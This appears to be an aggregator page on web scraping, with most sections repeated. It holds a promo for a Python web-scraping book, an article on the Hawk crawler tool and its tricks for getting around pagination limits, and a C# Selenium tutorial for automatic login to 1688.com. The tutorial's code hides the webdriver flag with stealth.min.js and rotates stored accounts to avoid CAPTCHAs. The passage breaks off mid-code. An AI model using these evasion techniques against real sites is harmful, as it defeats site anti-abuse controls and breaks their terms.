  网络数据采集并不是一门语言的独门秘籍,Python、Java、PHP、C#、Go等语言都可以讲出精彩的故事。有人说编程语言就是宗教,不同语言的设计哲学不同,行为方式各异,“非我族类,其心必异”,但本着美好生活、快乐修行的初衷,我们对所有语言都时刻保持敬畏之心,尊重信仰自由,努力做好自己的功课。对爱好Python的人来说,人生苦短,Python当歌!简洁轻松的语法,开箱即用的模块,强大快乐的社区,总可以快速构建出简单高效的解决方案。使用Python的日子总是充满快乐的,本书关于Python网络数据采集的故事也不例外。网络数据采集涉及多个领域,内容包罗万象,因此本书覆盖的主题较多,涉及的知识面相对广阔,书中介绍的Python模块有urllib、BeautifulSoup、lxml、Scrapy、PdfMiner、Requests、Selenium、NLTK、Pillow、unittest、PySocks等,还有一些知名网站的API、MySQL数据库、OpenRefine数据分析工具、PhanthomJS无头浏览器以及Tor代理服务器等内容。每行到一处,皆是风景独好,而且作者也为每一个主题提供了深入研究的参考资料。不过,本书关于多进程(multiprocessing)、并发(concurrency)、集群(cluster)等高性能采集主题着墨不多,更加关注性能的读者,可以参考其他关于Python高性能和多核编程的书籍。总之,本书通俗易懂,简单易行,有编程基础的同学都可以阅读。不会Python?抽一节课时间学一下吧。
  目录
  译者序ix
  前言xi
  第一部分创建爬虫
  第1章初见网络爬虫2
  第2章复杂HTML解析11
  第3章开始采集26
  第4章使用API42
  第5章存储数据61
  第6章读取文档80
  第二部分高级数据采集
  第7章数据清洗94
  第8章自然语言处理103
  第9章穿越网页表单与登录窗口进行采集120
  第10章采集JavaScript128
  第11章图像识别与文字处理139
  第12章避开采集陷阱154
  第13章用爬虫测试网站164
  第14章远程采集174
  附录APython简介181
  附录B互联网简介184
  附录C网络数据采集的法律与道德约束188
  作者简介200
  封面介绍200
  活动
  知道你期待这本书好久
  快来说说你对网路数据采集的看法 查看全部

  新书推荐 ‖ 《Python网络数据采集
  译者:陶俊杰,陈小莉
  定价:59
  网络上的数据量越来越大,单靠浏览网页获取信息越来越困难,如何有效地提取并利用信息已成为一个巨大的挑战。
  本书采用简洁强大的Python语言,介绍了网络数据采集,并为采集新式网络中的各种数据类型提供了全面的指导。第一部分重点介绍网络数据采集的基本原理:如何用Python从网络服务器请求信息,如何对服务器的响应进行基本处理,以及如何以自动化手段与网站进行交互。第二部分介绍如何用网络爬虫测试网站,自动化处理,以及如何通过更多的方式接入网络。
  作者译者
  【Ryan Mitchell】
  数据科学家、软件工程师。目前在波士顿LinkeDrive公司负责开发公司的API和数据分析工具。此前,曾在Abine公司构建网络爬虫和网络机器人。她经常做网络数据采集项目的咨询工作,主要面向金融和零售业。另著有:Instant Web Scraping with Java。
  【陶俊杰】
  长期从事数据分析工作,酷爱Python,每天都和Python面对面,乐此不疲。本科毕业于北京交通大学机电学院,硕士毕业于北京交通大学经管学院。曾就职于中国移动设计院,目前在京东任职。
  【陈小莉】
  长期从事数据分析工作,喜欢Python。本科与硕士毕业于北京交通大学电信学院。目前在中科院从事科技文献与专利分析工作。
  网络数据采集
  什么是网络数据采集
  在互联网上进行自动数据采集这件事和互联网存在的时间差不多一样长。虽然网络数据采集并不是新术语,但是多年以来,这件事更常见的称谓是网页抓屏(screen scraping)、数据挖掘(data mining)、网络收割(Web harvesting)或其他类似的版本。今天大众好像更倾向于用“网络数据采集”,因此我在本书中使用这个术语,不过有时会把网络数据采集程序称为网络机器人(bots)。
  理论上,网络数据采集是一种通过多种手段收集网络数据的方式,不光是通过与API交互(或者直接与浏览器交互)的方式。最常用的方法是写一个自动化程序向网络服务器请求数据(通常是用HTML表单或其他网页文件),然后对数据进行解析,提取需要的信息。
  实践中,网络数据采集涉及非常广泛的编程技术和手段,比如数据分析、信息安全等。本书将在第一部分介绍关于网络数据采集和网络爬行(crawling)的基础知识,一些高级主题放在第二部分介绍。
  为什么要做网络数据采集
  如果你上网的唯一方式就是用浏览器,那么你其实失去了很多种可能。虽然浏览器可以更方便地执行JavaScript,显示图片,并且可以把数据展示成更适合人类阅读的形式,但是网络爬虫收集和处理大量数据的能力更为卓越。不像狭窄的显示器窗口一次只能让你看一个网页,网络爬虫可以让你一次查看几千甚至几百万个网页。
  另外,网络爬虫可以完成传统搜索引擎不能做的事情。用Google搜索“飞往波士顿最便宜的航班”,看到的是大量的广告和主流的航班搜索网站。Google只知道这些网站的网页会显示什么内容,却不知道在航班搜索应用中输入的各种查询的准确结果。但是,设计较好的网络爬虫可以通过采集大量的网站数据,做出飞往波士顿航班价格随时间变化的图表,告诉你买机票的最佳时间。
  你可能会问:“数据不是可以通过API获取吗?”(如果你不熟悉API,请阅读第4章。) 确实,如果你能找到一个可以解决你的问题的API,那会非常给力。它们可以非常方便地向用户提供服务器里格式完好的数据。当你使用像Twitter或维基百科的API时,会发现一个API同时提供了不同的数据类型。通常,如果有API可用,API确实会比写一个网络爬虫程序来获取数据更加方便。但是,很多时候你需要的API并不存在,这是因为:
  •你要收集的数据来自不同的网站,没有一个综合多个网站数据的API;
  •你想要的数据非常小众,网站不会为你单独做一个API;
  •一些网站没有基础设施或技术能力去建立API。
  即使API已经存在,可能还会有请求内容和次数限制,API能够提供的数据类型或者数据格式可能也无法满足你的需求。
  这时网络数据采集就派上用场了。你在浏览器上看到的内容,大部分都可以通过编写Python程序来获取。如果你可以通过程序获取数据,那么就可以把数据存储到数据库里。如果你可以把数据存储到数据库里,自然也就可以将这些数据可视化。
  显然,大量的应用场景都会需要这种几乎可以毫无阻碍地获取数据的手段:市场预测、机器语言翻译,甚至医疗诊断领域,通过对新闻网站、文章以及健康论坛中的数据进行采集和分析,也可以获得很多好处。
  译者序
  每时每刻,搜索引擎和网站都在采集大量信息,非原创即采集。采集信息用的程序一般被称为网络爬虫(Web crawler)、网络铲(Web scraper,可类比考古用的洛阳铲)、网络蜘蛛(Web spider),其行为一般是先“爬”到对应的网页上,再把需要的信息“铲”下来。O’Reilly这本书的封面图案是一只穿山甲,图灵公司把这本书的中文版定名为“Python网络数据采集”。当我们看完这本书的时候,觉得网络数据采集程序也像是一只辛勤采蜜的小蜜蜂,它飞到花(目标网页)上,采集花粉(需要的信息),经过处理(数据清洗、存储)变成蜂蜜(可用的数据)。网络数据采集可以为生活加点儿蜜,亦如本书作者所说,“网络数据采集是为普通大众所喜闻乐见的计算机巫术”。
  网络数据采集大有所为。在大数据深入人心的时代,网络数据采集作为网络、数据库与机器学习等领域的交汇点,已经成为满足个性化网络数据需求的最佳实践。搜索引擎可以满足人们对数据的共性需求,即“我来了,我看见”,而网络数据采集技术可以进一步精炼数据,把网络中杂乱无章的数据聚合成合理规范的形式,方便分析与挖掘,真正实现“我征服”。工作中,你可能经常为找数据而烦恼,或者眼睁睁看着眼前的几百页数据却只能长恨咫尺天涯,又或者数据杂乱无章的网站中满是带有陷阱的表单和坑爹的验证码,甚至需要的数据都在网页版的PDF和网络图片中。而作为一名网站管理员,你也需要了解常用的网络数据采集手段,以及常用的网络表单安全措施,以提高网站访问的安全性,所谓道高一尺,魔高一丈……一念清净,烈焰成池,一念觉醒,方登彼岸,本书试图成为解决这些问题的一念,让你茅塞顿开,船登彼岸。
  网络数据采集并不是一门语言的独门秘籍,Python、Java、PHP、C#、Go等语言都可以讲出精彩的故事。有人说编程语言就是宗教,不同语言的设计哲学不同,行为方式各异,“非我族类,其心必异”,但本着美好生活、快乐修行的初衷,我们对所有语言都时刻保持敬畏之心,尊重信仰自由,努力做好自己的功课。对爱好Python的人来说,人生苦短,Python当歌!简洁轻松的语法,开箱即用的模块,强大快乐的社区,总可以快速构建出简单高效的解决方案。使用Python的日子总是充满快乐的,本书关于Python网络数据采集的故事也不例外。网络数据采集涉及多个领域,内容包罗万象,因此本书覆盖的主题较多,涉及的知识面相对广阔,书中介绍的Python模块有urllib、BeautifulSoup、lxml、Scrapy、PdfMiner、Requests、Selenium、NLTK、Pillow、unittest、PySocks等,还有一些知名网站的API、MySQL数据库、OpenRefine数据分析工具、PhanthomJS无头浏览器以及Tor代理服务器等内容。每行到一处,皆是风景独好,而且作者也为每一个主题提供了深入研究的参考资料。不过,本书关于多进程(multiprocessing)、并发(concurrency)、集群(cluster)等高性能采集主题着墨不多,更加关注性能的读者,可以参考其他关于Python高性能和多核编程的书籍。总之,本书通俗易懂,简单易行,有编程基础的同学都可以阅读。不会Python?抽一节课时间学一下吧。
  目录
  译者序ix
  前言xi
  第一部分创建爬虫
  第1章初见网络爬虫2
  第2章复杂HTML解析11
  第3章开始采集26
  第4章使用API42
  第5章存储数据61
  第6章读取文档80
  第二部分高级数据采集
  第7章数据清洗94
  第8章自然语言处理103
  第9章穿越网页表单与登录窗口进行采集120
  第10章采集JavaScript128
  第11章图像识别与文字处理139
  第12章避开采集陷阱154
  第13章用爬虫测试网站164
  第14章远程采集174
  附录APython简介181
  附录B互联网简介184
  附录C网络数据采集的法律与道德约束188
  作者简介200
  封面介绍200
  活动
  知道你期待这本书好久
  快来说说你对网路数据采集的看法

不编程也能爬虫?手把手教你如何从互联网采集海量数据

网站优化优采云 发表了文章 • 0 个评论 • 118 次浏览 • 2022-05-06 08:27 • 来自相关话题

  不编程也能爬虫?手把手教你如何从互联网采集海量数据
  ◆◆◆
  不少朋友都会问:几十万条租房,二手房,薪酬,乃至天气数据都是从哪里来的?其实这些数据在十几分钟内就可以采集到!
  一般我会回答,我用专门的工具,无需编程也能快速抓取。之后肯定又会被问,在哪里能下载这个工具呢?
  最近比较忙乱,说好的一大堆写作任务都还没有完成。授人以鱼不如授人以渔,我做了一个决定,将这套软件全部开源到GitHub。
  免费使用,开放源代码! 从此以后,估计很多做爬虫的工程师要失业了。。。因为我的目标是让普通人也能使用!
  这篇文章介绍爬虫大概的原理,文末会有程序地址。
  ◆◆◆
  什么是爬虫
  什么是爬虫
  互联网是一张大网,采集数据的小程序可以形象地称之为爬虫或者蜘蛛。
  爬虫的原理很简单,我们在访问网页时,会点击翻页按钮和超链接,浏览器会帮我们请求所有的资源和图片。所以,你可以设计一个程序,能够模拟人在浏览器上的操作,让网站误认为爬虫是正常访问者,它就会把所需的数据乖乖送回来。
  爬虫分为两种,一种像百度(黑)那样什么都抓的搜索引擎爬虫。另一种就是开发的,只精确地抓取所需的内容:比如我只要二手房信息,旁边的广告和新闻一律不要。
  爬虫这样的名字并不好听,所以我给这套软件起名为Hawk,指代为"鹰",能够精确,快速地捕捉猎物。基本不需编程,通过图形化拖拽的操作来快速设计爬虫,有点像Photoshop。它能在20分钟内编写大众点评的爬虫(简化版只需3分钟),然后让它运行就好啦、
  下面是使用Hawk抓取二手房的视频,建议在wifi环境下观看:
  ◆◆◆
  自动将网页导出为Excel
  那么,一个页面那么大,爬虫怎么知道我想要什么呢?
  
  人当然可以很容易地看出,上图的红框是二手房信息,但机器不知道。
  网页是一种有结构的树,而重要信息所在的节点,往往枝繁叶茂。 举个不恰当的比方,一大家子人构成树状族谱,谁最厉害?当然是:
  大家就会觉得这一家子太厉害了!
  我们对整个树结构进行打分,自然就能找到那个最牛的节点,就是我们要的表格。找到最牛爸爸之后,儿子们虽然相似:个子高,长得帅,两条胳膊两条腿,但这些都是共性,没有信息量,我们关心的是特性。大儿子锥子脸,跟其他人都不一样,那脸蛋就是重要信息;三儿子最有钱——钱也是我们关心的。 因此,对比儿子们的不同属性,我们就能知道哪些信息是重要的了。
  回到网页采集这个例子,通过一套有趣的算法,给一个网页的地址,软件就会自动地把它转成Excel!(听不懂吧?听不懂正常, 不要在意这些细节!)
  ◆◆◆
  破解翻页限制
  获取了一页的数据,这还不够,我们要获取所有页面的数据!这简单,我们让程序依次地请求第1页,第2页...数据就收集回来了
  就这么简单吗?网站怎么可能让自己宝贵的数据被这么轻松地抓走呢?所以它只能翻到第50页或第100页。链家就是这样:
  
  这也难不倒我们,每页有30个数据,100页最多能呈现3000条数据。北京有16个区县两万个小区,但每个区的小区数量就没有3000个了,我们可分别获取每个区的小区列表。每个小区最多有300多套在售二手房,这样就能获取链家的所有二手房了。
  然后我们启动抓取器,Hawk就会给每个子线程(可以理解为机器人)分配任务:给我抓取这个小区的所有二手房! 然后你就会看到壮观的场面:一堆小机器人,同心协力地从网站上搬数据,超牛迅雷有没有?同时100个任务!!上个厕所回来就抓完了!!!
  
  ◆◆◆
  清洗:识别并转换内容
  获取的数据大概长这样:
  
  但你会看到,里面会有些奇怪的字符应该去去掉。xx平米应该都把数字提取出来。而售价,有的是2130000元,有的是373万元,这些都很难处理。
  BUT,没关系!Hawk能够自动识别所有的数据:
  哈哈,然后你就能够轻松地把这些数据拿去作分析了,纯净无污染!
  ◆◆◆
  破解需要登录的网站
  此处的意思当然不是去破解用户名密码,还没强到那个程度。 有些网站的数据,都需要登录才能访问。这也难不倒我们。
  当你开启了Hawk内置了嗅探功能时,Hawk就像一个录音机一样,会记录你对目标网站的访问操作。之后它就会将其重放出来,从而实现自动登录。
  你会不会担心Hawk保存你的用户名密码?不保存怎么自动登录呢?但是Hawk是开源的,所有代码都经过了审查,是安全的。你的私密信息,只会躺在你自己的硬盘里。
  
  (我们就这样自动登录了大众点评)
  ◆◆◆
  是不是我也可以抓数据了
  理论上是的。但道高一尺魔高一丈,不同的网站千差万别,对抗爬虫的技术也有很多种。而且小虫虫对细节非常敏感,只要错一点,后面的步骤就可能进行不下去了。
  怎么办呢?沙漠君把之前的操作保存并分享出来,你只要加载这些文件就能快速获取数据了。
  如果你有其他网站的获取需求,可以去找你身边的程序员同学,让他们来帮忙抓数据,或让他们来试试Hawk,看看谁的效率更高。
  如果你是文科生妹子,那还是建议你多看看东野奎吾和村上春树,直接上手这么复杂的软件会让你抓狂的。那该找谁帮忙抓数据呢?嘿嘿嘿...
  ◆◆◆
  在哪里获取软件和教程?
  Hawk: Advanced Crawler& ETL tool written in C#/WPF软件介绍
  HAWK是一种数据采集和清洗工具,依据GPL协议开源,能够灵活,有效地采集来自网页,数据库,文件, 并通过可视化地拖拽,快速地进行生成,过滤,转换等操作。其功能最适合的领域,是爬虫和数据清洗。
  Hawk的含义为“鹰”,能够高效,准确地捕杀猎物。
  HAWK使用C# 编写,其前端界面使用WPF开发,支持插件扩展。通过图形化操作,能够快速建立解决方案。
  GitHub地址:
  其Python等价的实现是etlpy:
  笔者专门为其开发的工程文件已公开在GitHub:
  使用时,点击文件,加载工程即可加载。
  不想编译的话,可执行文件在:
  密码:4iy0
  编译路径在:
  Hawk.Core\Hawk.Core.sln
  感谢作者授权转载,稿件部分有变动,作者在大数据文摘的其他投稿点击文末推荐文章查看。
  <strong style="max-width: 100%; line-height: 28px; white-space: normal; color: rgb(61, 170, 214); font-size: 20px; box-sizing: border-box !important; word-wrap: break-word !important;">◆ ◆ ◆</strong> 查看全部

  不编程也能爬虫?手把手教你如何从互联网采集海量数据
  ◆◆◆
  不少朋友都会问:几十万条租房,二手房,薪酬,乃至天气数据都是从哪里来的?其实这些数据在十几分钟内就可以采集到!
  一般我会回答,我用专门的工具,无需编程也能快速抓取。之后肯定又会被问,在哪里能下载这个工具呢?
  最近比较忙乱,说好的一大堆写作任务都还没有完成。授人以鱼不如授人以渔,我做了一个决定,将这套软件全部开源到GitHub。
  免费使用,开放源代码! 从此以后,估计很多做爬虫的工程师要失业了。。。因为我的目标是让普通人也能使用!
  这篇文章介绍爬虫大概的原理,文末会有程序地址。
  ◆◆◆
  什么是爬虫
  什么是爬虫
  互联网是一张大网,采集数据的小程序可以形象地称之为爬虫或者蜘蛛。
  爬虫的原理很简单,我们在访问网页时,会点击翻页按钮和超链接,浏览器会帮我们请求所有的资源和图片。所以,你可以设计一个程序,能够模拟人在浏览器上的操作,让网站误认为爬虫是正常访问者,它就会把所需的数据乖乖送回来。
  爬虫分为两种,一种像百度(黑)那样什么都抓的搜索引擎爬虫。另一种就是开发的,只精确地抓取所需的内容:比如我只要二手房信息,旁边的广告和新闻一律不要。
  爬虫这样的名字并不好听,所以我给这套软件起名为Hawk,指代为"鹰",能够精确,快速地捕捉猎物。基本不需编程,通过图形化拖拽的操作来快速设计爬虫,有点像Photoshop。它能在20分钟内编写大众点评的爬虫(简化版只需3分钟),然后让它运行就好啦、
  下面是使用Hawk抓取二手房的视频,建议在wifi环境下观看:
  ◆◆◆
  自动将网页导出为Excel
  那么,一个页面那么大,爬虫怎么知道我想要什么呢?
  
  人当然可以很容易地看出,上图的红框是二手房信息,但机器不知道。
  网页是一种有结构的树,而重要信息所在的节点,往往枝繁叶茂。 举个不恰当的比方,一大家子人构成树状族谱,谁最厉害?当然是:
  大家就会觉得这一家子太厉害了!
  我们对整个树结构进行打分,自然就能找到那个最牛的节点,就是我们要的表格。找到最牛爸爸之后,儿子们虽然相似:个子高,长得帅,两条胳膊两条腿,但这些都是共性,没有信息量,我们关心的是特性。大儿子锥子脸,跟其他人都不一样,那脸蛋就是重要信息;三儿子最有钱——钱也是我们关心的。 因此,对比儿子们的不同属性,我们就能知道哪些信息是重要的了。
  回到网页采集这个例子,通过一套有趣的算法,给一个网页的地址,软件就会自动地把它转成Excel!(听不懂吧?听不懂正常, 不要在意这些细节!)
  ◆◆◆
  破解翻页限制
  获取了一页的数据,这还不够,我们要获取所有页面的数据!这简单,我们让程序依次地请求第1页,第2页...数据就收集回来了
  就这么简单吗?网站怎么可能让自己宝贵的数据被这么轻松地抓走呢?所以它只能翻到第50页或第100页。链家就是这样:
  
  这也难不倒我们,每页有30个数据,100页最多能呈现3000条数据。北京有16个区县两万个小区,但每个区的小区数量就没有3000个了,我们可分别获取每个区的小区列表。每个小区最多有300多套在售二手房,这样就能获取链家的所有二手房了。
  然后我们启动抓取器,Hawk就会给每个子线程(可以理解为机器人)分配任务:给我抓取这个小区的所有二手房! 然后你就会看到壮观的场面:一堆小机器人,同心协力地从网站上搬数据,超牛迅雷有没有?同时100个任务!!上个厕所回来就抓完了!!!
  
  ◆◆◆
  清洗:识别并转换内容
  获取的数据大概长这样:
  
  但你会看到,里面会有些奇怪的字符应该去去掉。xx平米应该都把数字提取出来。而售价,有的是2130000元,有的是373万元,这些都很难处理。
  BUT,没关系!Hawk能够自动识别所有的数据:
  哈哈,然后你就能够轻松地把这些数据拿去作分析了,纯净无污染!
  ◆◆◆
  破解需要登录的网站
  此处的意思当然不是去破解用户名密码,还没强到那个程度。 有些网站的数据,都需要登录才能访问。这也难不倒我们。
  当你开启了Hawk内置了嗅探功能时,Hawk就像一个录音机一样,会记录你对目标网站的访问操作。之后它就会将其重放出来,从而实现自动登录。
  你会不会担心Hawk保存你的用户名密码?不保存怎么自动登录呢?但是Hawk是开源的,所有代码都经过了审查,是安全的。你的私密信息,只会躺在你自己的硬盘里。
  
  (我们就这样自动登录了大众点评)
  ◆◆◆
  是不是我也可以抓数据了
  理论上是的。但道高一尺魔高一丈,不同的网站千差万别,对抗爬虫的技术也有很多种。而且小虫虫对细节非常敏感,只要错一点,后面的步骤就可能进行不下去了。
  怎么办呢?沙漠君把之前的操作保存并分享出来,你只要加载这些文件就能快速获取数据了。
  如果你有其他网站的获取需求,可以去找你身边的程序员同学,让他们来帮忙抓数据,或让他们来试试Hawk,看看谁的效率更高。
  如果你是文科生妹子,那还是建议你多看看东野奎吾和村上春树,直接上手这么复杂的软件会让你抓狂的。那该找谁帮忙抓数据呢?嘿嘿嘿...
  ◆◆◆
  在哪里获取软件和教程?
  Hawk: Advanced Crawler& ETL tool written in C#/WPF软件介绍
  HAWK是一种数据采集和清洗工具,依据GPL协议开源,能够灵活,有效地采集来自网页,数据库,文件, 并通过可视化地拖拽,快速地进行生成,过滤,转换等操作。其功能最适合的领域,是爬虫和数据清洗。
  Hawk的含义为“鹰”,能够高效,准确地捕杀猎物。
  HAWK使用C# 编写,其前端界面使用WPF开发,支持插件扩展。通过图形化操作,能够快速建立解决方案。
  GitHub地址:
  其Python等价的实现是etlpy:
  笔者专门为其开发的工程文件已公开在GitHub:
  使用时,点击文件,加载工程即可加载。
  不想编译的话,可执行文件在:
  密码:4iy0
  编译路径在:
  Hawk.Core\Hawk.Core.sln
  感谢作者授权转载,稿件部分有变动,作者在大数据文摘的其他投稿点击文末推荐文章查看。
  <strong style="max-width: 100%; line-height: 28px; white-space: normal; color: rgb(61, 170, 214); font-size: 20px; box-sizing: border-box !important; word-wrap: break-word !important;">◆ ◆ ◆</strong>

c#爬虫-1688官网自动登录

网站优化优采云 发表了文章 • 0 个评论 • 97 次浏览 • 2022-05-06 08:17 • 来自相关话题

  c#爬虫-1688官网自动登录
  背景
  在1688官网里面有很多信息是需要登录才能看得到的,比如商家的联系电话等等。那么我们在抓取它的网页的时候,肯定是需要维持登录状态才能得到对应的内容。这里面就会涉及到自动登录的问题。
  登录地址
  
  自动登录方法
  1、找到对应的元素,账号、密码框。
  
  2、把账号、密码值带进去。
   List logininfolist = new List(); string file = "1688Account.json"; if (!File.Exists(file)) { throw new ArgumentException("1688Account not found"); } string data = File.ReadAllText(file, Encoding.UTF8); var account1688list = JsonConvert.DeserializeObject(data); logininfolist.AddRange(account1688list.Select(o => o.AccountPassword).ToList()); Random rdinfo = new Random(); int indexinfo = rdinfo.Next(logininfolist.Count); var modelinfo = logininfolist[indexinfo]; driver.FindElement(By.Id("fm-login-id")).SendKeys(modelinfo.Split('+')[0]); driver.FindElement(By.Id("fm-login-password")).SendKeys(modelinfo.Split('+')[1]);
  3、模拟点击提交按钮操作。
   // Thread.Sleep(1000 * 30); //30时间操作 driver.FindElement(By.ClassName("password-login")).Click(); Thread.Sleep(1000 * 30);//30时间操作
  4、进入控制台,验证是否登陆成功。并记录Cookies,下次再来的时候,直接使用现成的Cookies,一般有效期可以维持一天多左右。
   driver.Navigate().GoToUrl("https://work.1688.com/%3Ftrace ... 6quot;); Thread.Sleep(1000 * 5); if (driver.Url.Contains("login.1688.com")) { Console.WriteLine("登录失败"); CookieHelp.DeleteCookies(); Console.WriteLine("2"); throw new Exception("重新登录"); } driver.Navigate().Refresh(); CookieHelp.WriteCookies(driver.Manage().Cookies.AllCookies);
  5、判断是否有现成的登录cookies。
   driver.Navigate().GoToUrl("https://www.1688.com/"); driver.Manage().Cookies.DeleteAllCookies(); var listCookie = CookieHelp.GetCookie(); if (listCookie != null) { logintry = 0; Console.WriteLine("有现成cookies" + DateTime.UtcNow); foreach (var item in listCookie) { driver.Manage().Cookies.AddCookie(new Cookie(item.Name, item.Value, item.Domain, item.Path, item.Expiry)); } Thread.Sleep(2000);<br /> driver.Navigate().GoToUrl("https://work.1688.com/%3Ftrace ... 6quot;);<br /> Thread.Sleep(1000 * 2);
  完整代码
   /// /// 登录 todo /// /// /// /// public void Implement(IReptilesImageSearchService _reptilesImageSearchService, IWebDriver driver) { driver.Navigate().GoToUrl("https://www.1688.com/"); driver.Manage().Cookies.DeleteAllCookies(); var listCookie = CookieHelp.GetCookie(); if (listCookie != null) { logintry = 0; Console.WriteLine("有现成cookies" + DateTime.UtcNow); foreach (var item in listCookie) { driver.Manage().Cookies.AddCookie(new Cookie(item.Name, item.Value, item.Domain, item.Path, item.Expiry)); } Thread.Sleep(2000);<br /> driver.Navigate().GoToUrl("https://work.1688.com/%3Ftrace ... 6quot;);<br /> Thread.Sleep(1000 * 2); if (driver.Url.Contains("login.1688.com")) { Console.WriteLine("cookies过期了"); CookieHelp.DeleteCookies(); Console.WriteLine("1"); throw new Exception("重新登录"); } } else { if (logintry > 4) { Console.WriteLine("登陆次数超出:" + logintry); throw new Exception("登陆次数超出,退出"); } logintry++; Console.WriteLine("无现成cookies" + DateTime.UtcNow); driver.Navigate().GoToUrl("https://login.1688.com/member/signin.htm"); #region 登录动作 driver.SwitchTo().Frame(0);<br /> IJavaScriptExecutor js = (IJavaScriptExecutor)driver; ////// string returnjs = (string)js.ExecuteScript("Object.defineProperties(navigator, {webdriver:{get:()=>undefined}});");<br /> string jsfile = File.ReadAllText("stealth.min.js", Encoding.UTF8); string returnjs = (string)js.ExecuteScript(jsfile);<br /> List logininfolist = new List(); string file = "1688Account.json"; if (!File.Exists(file)) { throw new ArgumentException("1688Account not found"); } string data = File.ReadAllText(file, Encoding.UTF8); var account1688list = JsonConvert.DeserializeObject(data); logininfolist.AddRange(account1688list.Select(o => o.AccountPassword).ToList()); Random rdinfo = new Random(); int indexinfo = rdinfo.Next(logininfolist.Count); var modelinfo = logininfolist[indexinfo]; driver.FindElement(By.Id("fm-login-id")).SendKeys(modelinfo.Split('+')[0]); driver.FindElement(By.Id("fm-login-password")).SendKeys(modelinfo.Split('+')[1]); // Thread.Sleep(1000 * 30); //30时间操作 driver.FindElement(By.ClassName("password-login")).Click(); Thread.Sleep(1000 * 30);//30时间操作<br /> #endregion 登录动作 driver.Navigate().GoToUrl("https://work.1688.com/%3Ftrace ... 6quot;); Thread.Sleep(1000 * 5); if (driver.Url.Contains("login.1688.com")) { Console.WriteLine("登录失败"); CookieHelp.DeleteCookies(); Console.WriteLine("2"); throw new Exception("重新登录"); } driver.Navigate().Refresh(); CookieHelp.WriteCookies(driver.Manage().Cookies.AllCookies); } Thread.Sleep(1000); }<br />
  注意事项
  1、登录的时候,有时候会出现滑块验证码,这时候一般是使用其他账号重试或者是在当前的机器手工登录一次,后面基本就会被信任。
  2、使用这段代码本身就是模拟真实用户的行为,最大限度的减少验证码出现的几率。
   IJavaScriptExecutor js = (IJavaScriptExecutor)driver; ////// string returnjs = (string)js.ExecuteScript("Object.defineProperties(navigator, {webdriver:{get:()=>undefined}});");<br /> string jsfile = File.ReadAllText("stealth.min.js", Encoding.UTF8); string returnjs = (string)js.ExecuteScript(jsfile);<br /> 查看全部

  c#爬虫-1688官网自动登录
  背景
  在1688官网里面有很多信息是需要登录才能看得到的,比如商家的联系电话等等。那么我们在抓取它的网页的时候,肯定是需要维持登录状态才能得到对应的内容。这里面就会涉及到自动登录的问题。
  登录地址
  
  自动登录方法
  1、找到对应的元素,账号、密码框。
  
  2、把账号、密码值带进去。
   List logininfolist = new List(); string file = "1688Account.json"; if (!File.Exists(file)) { throw new ArgumentException("1688Account not found"); } string data = File.ReadAllText(file, Encoding.UTF8); var account1688list = JsonConvert.DeserializeObject(data); logininfolist.AddRange(account1688list.Select(o => o.AccountPassword).ToList()); Random rdinfo = new Random(); int indexinfo = rdinfo.Next(logininfolist.Count); var modelinfo = logininfolist[indexinfo]; driver.FindElement(By.Id("fm-login-id")).SendKeys(modelinfo.Split('+')[0]); driver.FindElement(By.Id("fm-login-password")).SendKeys(modelinfo.Split('+')[1]);
  3、模拟点击提交按钮操作。
   // Thread.Sleep(1000 * 30); //30时间操作 driver.FindElement(By.ClassName("password-login")).Click(); Thread.Sleep(1000 * 30);//30时间操作
  4、进入控制台,验证是否登陆成功。并记录Cookies,下次再来的时候,直接使用现成的Cookies,一般有效期可以维持一天多左右。
   driver.Navigate().GoToUrl("https://work.1688.com/%3Ftrace ... 6quot;); Thread.Sleep(1000 * 5); if (driver.Url.Contains("login.1688.com")) { Console.WriteLine("登录失败"); CookieHelp.DeleteCookies(); Console.WriteLine("2"); throw new Exception("重新登录"); } driver.Navigate().Refresh(); CookieHelp.WriteCookies(driver.Manage().Cookies.AllCookies);
  5、判断是否有现成的登录cookies。
   driver.Navigate().GoToUrl("https://www.1688.com/";); driver.Manage().Cookies.DeleteAllCookies(); var listCookie = CookieHelp.GetCookie(); if (listCookie != null) { logintry = 0; Console.WriteLine("有现成cookies" + DateTime.UtcNow); foreach (var item in listCookie) { driver.Manage().Cookies.AddCookie(new Cookie(item.Name, item.Value, item.Domain, item.Path, item.Expiry)); } Thread.Sleep(2000);<br /> driver.Navigate().GoToUrl("https://work.1688.com/%3Ftrace ... 6quot;);<br /> Thread.Sleep(1000 * 2);
  完整代码
   /// /// 登录 todo /// /// /// /// public void Implement(IReptilesImageSearchService _reptilesImageSearchService, IWebDriver driver) { driver.Navigate().GoToUrl("https://www.1688.com/";); driver.Manage().Cookies.DeleteAllCookies(); var listCookie = CookieHelp.GetCookie(); if (listCookie != null) { logintry = 0; Console.WriteLine("有现成cookies" + DateTime.UtcNow); foreach (var item in listCookie) { driver.Manage().Cookies.AddCookie(new Cookie(item.Name, item.Value, item.Domain, item.Path, item.Expiry)); } Thread.Sleep(2000);<br /> driver.Navigate().GoToUrl("https://work.1688.com/%3Ftrace ... 6quot;);<br /> Thread.Sleep(1000 * 2); if (driver.Url.Contains("login.1688.com")) { Console.WriteLine("cookies过期了"); CookieHelp.DeleteCookies(); Console.WriteLine("1"); throw new Exception("重新登录"); } } else { if (logintry > 4) { Console.WriteLine("登陆次数超出:" + logintry); throw new Exception("登陆次数超出,退出"); } logintry++; Console.WriteLine("无现成cookies" + DateTime.UtcNow); driver.Navigate().GoToUrl("https://login.1688.com/member/signin.htm";); #region 登录动作 driver.SwitchTo().Frame(0);<br /> IJavaScriptExecutor js = (IJavaScriptExecutor)driver; ////// string returnjs = (string)js.ExecuteScript("Object.defineProperties(navigator, {webdriver:{get:()=>undefined}});");<br /> string jsfile = File.ReadAllText("stealth.min.js", Encoding.UTF8); string returnjs = (string)js.ExecuteScript(jsfile);<br /> List logininfolist = new List(); string file = "1688Account.json"; if (!File.Exists(file)) { throw new ArgumentException("1688Account not found"); } string data = File.ReadAllText(file, Encoding.UTF8); var account1688list = JsonConvert.DeserializeObject(data); logininfolist.AddRange(account1688list.Select(o => o.AccountPassword).ToList()); Random rdinfo = new Random(); int indexinfo = rdinfo.Next(logininfolist.Count); var modelinfo = logininfolist[indexinfo]; driver.FindElement(By.Id("fm-login-id")).SendKeys(modelinfo.Split('+')[0]); driver.FindElement(By.Id("fm-login-password")).SendKeys(modelinfo.Split('+')[1]); // Thread.Sleep(1000 * 30); //30时间操作 driver.FindElement(By.ClassName("password-login")).Click(); Thread.Sleep(1000 * 30);//30时间操作<br /> #endregion 登录动作 driver.Navigate().GoToUrl("https://work.1688.com/%3Ftrace ... 6quot;); Thread.Sleep(1000 * 5); if 